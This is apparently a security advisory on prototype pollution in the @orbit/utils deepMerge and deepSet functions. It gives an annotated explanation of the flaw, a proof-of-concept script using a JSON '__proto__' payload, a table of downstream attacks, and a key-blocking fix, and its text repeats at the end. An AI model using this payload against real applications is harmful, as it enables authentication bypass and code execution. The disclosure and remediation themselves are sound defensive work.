Prototype Pollution in @orbit/utils
Summary
@orbit/utils (<= 0.17.0) is vulnerable to Prototype Pollution via deepMerge() and deepSet().
Vulnerable Source Code
1. deepMerge — [packages/@orbit/utils/src/objects.ts]
export function deepMerge(object: any, ...sources: any[]): any {
sources.forEach((source) => {
Object.keys(source).forEach((field) => {
if (source.hasOwnProperty(field)) {
let a = object[field]; // ← object["__proto__"] resolves to Object.prototype
let b = source[field];
if (
isObject(a) && isObject(b) &&
!Array.isArray(a) && !Array.isArray(b)
) {
deepMerge(a, b); // ← recursively merges INTO Object.prototype
} else if (b !== undefined) {
object[field] = clone(b);
}
}
});
});
return object;
}
No sanitization of __proto__, constructor, or prototype keys anywhere.
2. deepSet — same file
export function deepSet(obj: any, path: string[], value: any): boolean {
let ptr = obj;
let prop = path.pop() as string;
for (let i = 0, l = path.length; i < l; i++) {
let segment = path[i];
if (ptr[segment] === undefined) {
ptr[segment] = typeof segment === 'number' ? [] : {};
}
ptr = ptr[segment]; // ← ptr["__proto__"] → Object.prototype
}
ptr[prop] = value; // ← writes directly to Object.prototype
return true;
}
Same issue — zero path segment validation.
Why This Is a Vulnerability
Step-by-step: How deepMerge pollutes Object.prototype
1. Attacker input: JSON.parse('{"__proto__":{"polluted":"yes"}}')
→ Creates object where "__proto__" is a real OWN ENUMERABLE property
→ Object.keys() DOES return ["__proto__"]
2. Object.keys(source) iterates over "__proto__"
→ source.hasOwnProperty("__proto__") → true ✓
3. object["__proto__"] on a plain {} resolves via accessor to Object.prototype
→ a = Object.prototype
4. isObject(Object.prototype) → true
isObject({"polluted":"yes"}) → true
→ Enters recursive branch
5. deepMerge(Object.prototype, {"polluted":"yes"})
→ Object.keys({"polluted":"yes"}) → ["polluted"]
→ Object.prototype["polluted"] = "yes" ← POLLUTION COMPLETE
6. Every object in the runtime now has .polluted === "yes"
Why JSON.parse matters
A JavaScript literal {__proto__: {polluted: "yes"}} sets the prototype via the accessor — Object.keys() will NOT list __proto__. But JSON.parse('{"__proto__":{"polluted":"yes"}}') creates __proto__ as a regular own enumerable property, so Object.keys() returns it. This is the standard real-world attack vector, since virtually all web frameworks use JSON.parse on HTTP request bodies.
Why deepSet is also vulnerable
1. deepSet({}, ["__proto__", "injected"], "value")
2. path.pop() → prop = "injected", path = ["__proto__"]
3. Loop: ptr["__proto__"] is NOT undefined (it's Object.prototype via accessor)
→ ptr = Object.prototype
4. ptr["injected"] = "value" ← writes to Object.prototype
Proof of Concept
const { deepMerge, deepSet } = require('@orbit/utils');
// === Test 1: deepMerge ===
console.log('Before:', ({}).polluted); // undefined
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
deepMerge({}, payload);
const obj = {};
console.log('After deepMerge:', obj.polluted); // "yes" ← POLLUTED
console.log('Vulnerable (deepMerge):', obj.polluted === 'yes'); // true
// Clean up
delete Object.prototype.polluted;
// === Test 2: deepSet ===
console.log('Before:', ({}).injected); // undefined
deepSet({}, ['__proto__', 'injected'], 'via_deepSet');
console.log('After deepSet:', ({}).injected); // "via_deepSet" ← POLLUTED
console.log('Vulnerable (deepSet):', ({}).injected === 'via_deepSet'); // true
// Clean up
delete Object.prototype.injected;
Impact
Successful prototype pollution enables downstream attacks depending on how the application processes objects:
| Attack |
How |
| Remote Code Execution |
Pollute shell, env, or template engine options → child_process.exec injection |
| Authentication Bypass |
Inject isAdmin: true, role: "admin" into user/session objects |
| Denial of Service |
Override toString, valueOf, hasOwnProperty → crash all object operations |
| SQL Injection |
Pollute query builder parameters ($where, $gt) |
| SSRF |
Inject hostname, port, protocol into HTTP client config objects |
| XSS |
Inject HTML/JS via polluted template variables |
| Path Traversal |
Pollute path, basedir in file system operations |
| CORS Bypass |
Inject Access-Control-Allow-Origin via polluted header configs |
Remediation
Add key validation to block dangerous keys:
const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
export function deepMerge(object: any, ...sources: any[]): any {
sources.forEach((source) => {
Object.keys(source).forEach((field) => {
if (BLOCKED_KEYS.has(field)) return; // ← ADD THIS
// ... rest of logic
});
});
return object;
}
export function deepSet(obj: any, path: string[], value: any): boolean {
// ...
for (let i = 0, l = path.length; i < l; i++) {
let segment = path[i];
if (BLOCKED_KEYS.has(segment)) return false; // ← ADD THIS
// ...
}
// also check final prop
if (BLOCKED_KEYS.has(prop)) return false; // ← ADD THIS
ptr[prop] = value;
return true;
}
References
Prototype Pollution in
@orbit/utilsSummary
@orbit/utils(<= 0.17.0) is vulnerable to Prototype Pollution viadeepMerge()anddeepSet().Vulnerable Source Code
1.
deepMerge— [packages/@orbit/utils/src/objects.ts]No sanitization of
__proto__,constructor, orprototypekeys anywhere.2.
deepSet— same fileSame issue — zero path segment validation.
Why This Is a Vulnerability
Step-by-step: How
deepMergepollutesObject.prototypeWhy
JSON.parsemattersA JavaScript literal
{__proto__: {polluted: "yes"}}sets the prototype via the accessor —Object.keys()will NOT list__proto__. ButJSON.parse('{"__proto__":{"polluted":"yes"}}')creates__proto__as a regular own enumerable property, soObject.keys()returns it. This is the standard real-world attack vector, since virtually all web frameworks useJSON.parseon HTTP request bodies.Why
deepSetis also vulnerableProof of Concept
Impact
Successful prototype pollution enables downstream attacks depending on how the application processes objects:
shell,env, or template engine options →child_process.execinjectionisAdmin: true,role: "admin"into user/session objectstoString,valueOf,hasOwnProperty→ crash all object operations$where,$gt)hostname,port,protocolinto HTTP client config objectspath,basedirin file system operationsAccess-Control-Allow-Originvia polluted header configsRemediation
Add key validation to block dangerous keys:
References